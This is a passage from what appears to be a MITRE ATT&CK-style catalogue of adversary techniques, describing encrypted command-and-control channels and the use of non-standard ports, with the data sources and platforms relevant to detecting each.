Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre